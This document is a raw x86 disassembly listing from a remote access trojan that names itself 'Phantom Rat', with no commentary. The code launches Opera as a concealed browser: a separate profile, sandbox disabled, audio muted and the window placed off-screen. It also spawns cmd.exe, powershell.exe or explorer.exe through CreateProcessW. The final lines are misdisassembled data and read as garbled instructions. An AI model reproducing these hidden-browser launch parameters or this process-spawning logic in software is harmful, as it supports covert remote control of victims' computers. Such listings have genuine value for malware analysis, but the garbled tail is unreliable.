call fcn.10051fd0
push 0x12
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x34]
call fcn.100264d0
mov edx, dword [ebp - 0x20]
add esp, 4
cmp edx, 8
jb 0x10040b1c
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040b12
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x68]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x10040b6a
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040b60
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub esi, ecx
cmp esi, 0x1d
jb 0x1004104a
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
push ecx
cmovae eax, dword [ebp - 0x4c]
push eax
push 0x1d
push str._opera.exe____user_data_dir_
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x7c]
call fcn.1005dba0
push 0x1f2
push str.____no_first_run__data:text_html__title_Welcome_in_Phantom_Rat.__title__h1_Welcome_in_browser__Phantom_rat_user.__h1__style_bodybackground_color:blackh1color:white___style_____disable_gpu____no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_accelerated_layers___disable_accelerated_plugins___disable_audio___disable_accelerated_2d_canvas____aura_no_shadows___mute_audio___disable_deadline_scheduling___disable_ui_deadline_scheduling___disable_d3d11___window_position_32000__32000__
lea ecx, [ebp - 0x7c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x34], 0
push 0x18
lea eax, [ebp - 0x34]
mov dword [ebp - 0x24], 0
push esi
push eax
mov dword [ebp - 0x20], 0
call fcn.1011b630
xor eax, eax
mov dword [esi + 0x10], 0
add esp, 0xc
mov word [esi], ax
lea eax, [ebp - 0x34]
mov dword [esi + 0x14], 7
lea ecx, [ebp - 0xac]
push eax
call fcn.100522e0
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x10040c2f
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040c25
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x68]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x100403fd
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100403f3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100403f3
jmp 0x10041009
cmp eax, 0x14
jb 0x1004104f
cmp dword [ebp - 0xb0], 8
lea eax, [ebp - 0xc4]
push 0x14
cmovae eax, dword [ebp - 0xc4]
push str.Opera_Softwaredata
push ecx
push eax
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x4c]
call fcn.1005dba0
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
push 0
cmovae eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 0x3c]
sub esi, ecx
cmp esi, 0x1d
jb 0x10041054
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
push ecx
cmovae eax, dword [ebp - 0x4c]
push eax
push 0x1d
push str._opera.exe____user_data_dir_
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x94]
call fcn.1005dba0
push 0x1f2
push str.____no_first_run__data:text_html__title_Welcome_in_Phantom_Rat.__title__h1_Welcome_in_browser__Phantom_rat_user.__h1__style_bodybackground_color:blackh1color:white___style_____disable_gpu____no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_accelerated_layers___disable_accelerated_plugins___disable_audio___disable_accelerated_2d_canvas____aura_no_shadows___mute_audio___disable_deadline_scheduling___disable_ui_deadline_scheduling___disable_d3d11___window_position_32000__32000__
lea ecx, [ebp - 0x94]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x34], 0
push 0x18
lea eax, [ebp - 0x34]
mov dword [ebp - 0x24], 0
push esi
push eax
mov dword [ebp - 0x20], 0
call fcn.1011b630
xor eax, eax
mov dword [esi + 0x10], 0
add esp, 0xc
mov word [esi], ax
lea eax, [ebp - 0x34]
mov dword [esi + 0x14], 7
lea ecx, [ebp - 0xac]
push eax
call fcn.100522e0
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x10040d94
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040d8a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x80]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x10040596
mov ecx, dword [ebp - 0x94]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1004058c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1004058c
jmp 0x10041009
push 0x1b
push str.C:WindowsSystem32cmd.exe
jmp 0x10040e01
push 0xe
push str.powershell.exe
jmp 0x10040e01
push 0x17
push str.C:Windowsexplorer.exe
lea ecx, [ebp - 0xac]
call fcn.10051fd0
cmp dword [ebp - 0x98], 8
lea ecx, [ebp - 0xf4]
push ecx
lea ecx, [ebp - 0x13c]
push ecx
push 0
push 0
push 0x10
push 0
push 0
lea eax, [ebp - 0xac]
cmovae eax, dword [ebp - 0xac]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, dword [ebp + 8]
movups xmm0, xmmword [ebp - 0xf4]
mov edx, dword [ebp - 0xc8]
movups xmmword [esi], xmm0
cmp edx, 8
jb 0x10040e90
mov ecx, dword [ebp - 0xdc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040e86
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0xb0]
xor eax, eax
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 7
mov word [ebp - 0xdc], ax
cmp edx, 8
jb 0x10040eed
mov ecx, dword [ebp - 0xc4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040ee3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x50]
xor eax, eax
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 7
mov word [ebp - 0xc4], ax
cmp edx, 8
jb 0x10040f44
mov ecx, dword [ebp - 0x64]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040f3a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x98]
xor eax, eax
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 7
mov word [ebp - 0x64], ax
cmp edx, 8
jb 0x10040f94
mov ecx, dword [ebp - 0xac]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040f8a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp + 0x28]
xor eax, eax
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 7
mov word [ebp - 0xac], ax
cmp edx, 8
jb 0x10040fe7
mov ecx, dword [ebp + 0x14]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040fdd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [ebp - 8]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
call fcn.10021260
call fcn.10125fc5
call fcn.10125fc5
call fcn.10021260
call fcn.10021260
call fcn.10125fc5
call fcn.10125fc5
call fcn.10125fc5
call fcn.10021260
call fcn.10125fc5
call fcn.10021260
call fcn.10021260
call fcn.10021260
call fcn.10021260
call fcn.10021260
call fcn.10021260
call fcn.10021260
call fcn.10021260
nop dword [eax]
adc al, 0xfc
add edx, dword [eax]
push esp
add dword [eax + edx], eax
mov cl, 5
add al, 16
mov edi, 0xc100409
push cs
add al, 0x10
call 0x1141482
or eax, 234491908
add al, 0x10
int3